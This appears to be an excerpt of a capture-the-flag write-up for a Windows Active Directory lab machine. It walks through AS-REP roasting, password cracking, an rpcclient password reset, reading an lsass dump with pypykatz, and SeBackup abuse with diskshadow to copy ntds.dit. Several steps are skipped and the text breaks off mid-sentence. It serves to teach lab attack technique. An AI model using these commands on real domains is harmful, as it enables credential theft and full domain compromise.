# Nmap 7.80 scan initiated Thu Sep 17 22:39:53 2020 as: nmap -sSVC -p- -oA nmap_full -v 10.10.10.192 Nmap scan report for 10.10.10.192 Host is up (0.026s latency). Not shown: 65527 filtered ports PORT STATE SERVICE VERSION 53/tcp open domain? | fingerprint-strings: | DNSVersionBindReqTCP: | version |_ bind 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-09-18 03:48:25Z) 135/tcp open msrpc Microsoft Windows RPC 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name) 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port53-TCP:V=7.80%I=7%D=9/17%Time=5F63CA20%P=x86_64-unknown-linux-gnu%r SF:(DNSVersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07ver SF:sion\x04bind\0\0\x10\0\x03"); Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
$ smbclient -L //10.10.10.192 Enter WORKGROUP\noraj's password:
Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share forensic Disk Forensic / Audit share. IPC$ IPC Remote IPC NETLOGON Disk Logon server share profiles$ Disk SYSVOL Disk Logon server share SMB1 disabled -- no workgroup available
$ smbclient //10.10.10.192/forensic Enter WORKGROUP\noraj's password: Try "help" to get a list of possible commands. smb: \> dir NT_STATUS_ACCESS_DENIED listing \* smb: \> ^C
$ smbclient //10.10.10.192/profiles$ Enter WORKGROUP\noraj's password: Try "help" to get a list of possible commands. smb: \> dir . D 0 Wed Jun 3 18:47:12 2020 .. D 0 Wed Jun 3 18:47:12 2020 AAlleni D 0 Wed Jun 3 18:47:11 2020 ABarteski D 0 Wed Jun 3 18:47:11 2020 ABekesz D 0 Wed Jun 3 18:47:11 2020 ABenzies D 0 Wed Jun 3 18:47:11 2020 ABiemiller D 0 Wed Jun 3 18:47:11 2020 AChampken D 0 Wed Jun 3 18:47:11 2020 ACheretei D 0 Wed Jun 3 18:47:11 2020 ...
Those folders look like people's profile, but there are three folders not
starting with an uppercase letter that doesn't look like a name.
Then Impacket script GetNPUsers allow to check if Kerberos pre-auth
is enabled for those accounts and extract their password hash:
1 2 3 4 5 6 7 8
$ GetNPUsers.py blackfield.local/ -usersfile profiles.txt -outputfile hash.txt -dc-ip 10.10.10.192 -format john [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) ... [-] User audit2020 doesn't have UF_DONT_REQUIRE_PREAUTH set ... [-] User svc_backup doesn't have UF_DONT_REQUIRE_PREAUTH set ... [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
$ john hash.txt -w=/usr/share/wordlists/passwords/rockyou.txt --format=krb5asrep-aes-opencl $ john hash.txt --show $krb5asrep$support@BLACKFIELD.LOCAL:#00^BlackKnight
I don't know if this will be useful later but we now known that lydericlefebvre
could be able to create VM. There was nothing special about the other accounts.
Elevation of Privilege (EoP): from support to audit2020#
In case our account is privileged we can try to change other account password.
chgpasswd won't help us as it requires the old password. But setuserinfo
doesn't.
1 2 3
rpcclient $> setuserinfo Usage: setuserinfo username level password [password_expired] result was NT_STATUS_INVALID_PARAMETER
rpcclient $> setuserinfo svc_backup 23 Noraj123! result: NT_STATUS_ACCESS_DENIED result was NT_STATUS_ACCESS_DENIED
rpcclient $> setuserinfo lydericlefebvre 23 Noraj123! result: NT_STATUS_ACCESS_DENIED result was NT_STATUS_ACCESS_DENIED
Elevation of Privilege (EoP): from audit2020 to svc_backup#
With support or unauthenticated we were not able to list the content of the
forensic share but we can with audit2020. So let's dump all we can:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
$ mkdir -p Shares/forensic $ cd Shares/forensic $ smbclient //10.10.10.192/forensic -U audit2020 -W blackfield.local Noraj123! Try "help" to get a list of possible commands. smb: \> ls . D 0 Sun Feb 23 14:03:16 2020 .. D 0 Sun Feb 23 14:03:16 2020 commands_output D 0 Sun Feb 23 19:14:37 2020 memory_analysis D 0 Thu May 28 22:28:33 2020 tools D 0 Sun Feb 23 14:39:08 2020
7846143 blocks of size 4096. 4156574 blocks available smb: \> recurse on smb: \> prompt off smb: \> mget *
PS: a more clever approach would be to avoid dumping tools/ which will take a
lot of time and space for generic binaries we do not need.
In memory_analissy there is a lsass dump.
1 2 3 4
$ cd memory_analysis $ unzip lsass.zip Archive: lsass.zip inflating: lsass.DMP
Then we can use pypykatz, Python implementation of Mimikatz, to try to dump
hashes from here.
*Evil-WinRM* PS C:\Users\svc_backup\Documents> net user svc_backup User name svc_backup Full Name Comment User's comment Country/region code 000 (System Default) Account active Yes Account expires Never
Password last set 2/23/2020 10:54:48 AM Password expires Never Password changeable 2/24/2020 10:54:48 AM Password required Yes User may change password Yes
Workstations allowed All Logon script User profile Home directory Last logon 9/20/2020 9:38:19 PM
Logon hours allowed All
Local Group Memberships *Backup Operators *Remote Management Use Global Group memberships *Domain Users The command completed successfully.
Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeBackupPrivilege Back up files and directories Enabled SeRestorePrivilege Restore files and directories Enabled SeShutdownPrivilege Shut down the system Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Our account have way to much power!
SeBackup & SeRestore privileges (from the Backup Operators group) allow us to
set permissionand ownership on each file & folder.
Normally we shouldn't be able to access ntds.dit (Active Directory database)
but since SeBackup & SeRestore privileges let us set any permission on
any file we will be able to fix that.
Now we'll use DiskShadow to make a shadow copy of the ntds.
DiskShadow.exe is a tool that exposes the functionality offered by the Volume Shadow Copy Service (VSS). By default, DiskShadow uses an interactive command interpreter similar to that of DiskRaid or DiskPart. DiskShadow also includes a scriptable mode.
*Evil-WinRM* PS C:\Users\svc_backup> diskshadow.exe /s C:\Users\svc_backup\Videos\diskshadow.txt Microsoft DiskShadow version 1.0 Copyright (C) 2013 Microsoft Corporation On computer: DC01, 9/21/2020 12:12:50 AM
-> set context persistent nowriters -> add volume c: alias noraj -> create Alias noraj for shadow ID {eef6f0be-3c60-4e69-985d-3bc400a24ff1} set as environment variable. Alias VSS_SHADOW_SET for shadow set ID {12b5d80f-4368-4727-a02b-1b22f5e020ef} set as environment variable.
Querying all shadow copies with the shadow copy set ID {12b5d80f-4368-4727-a02b-1b22f5e020ef}
* Shadow copy ID = {eef6f0be-3c60-4e69-985d-3bc400a24ff1} %noraj% - Shadow copy set: {12b5d80f-4368-4727-a02b-1b22f5e020ef} %VSS_SHADOW_SET% - Original count of shadow copies = 1 - Original volume name: \\?\Volume{351b4712-0000-0000-0000-602200000000}\ [C:\] - Creation time: 9/21/2020 12:12:51 AM - Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1 - Originating machine: DC01.BLACKFIELD.local - Service machine: DC01.BLACKFIELD.local - Not exposed - Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5} - Attributes: No_Auto_Release Persistent No_Writers Differential
Number of shadow copies listed: 1 -> expose %noraj% z: -> %noraj% = {eef6f0be-3c60-4e69-985d-3bc400a24ff1} The shadow copy was successfully exposed as z:\. -> exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\Users\svc_backup\Videos\ntds.dit
The script file name is not valid.
EXEC <file.cmd> Execute a script file on the local machine. This command is used to duplicate or restore data as part of a backup or restore sequence.
As I got issues with the exec command I manually copied the file afterward: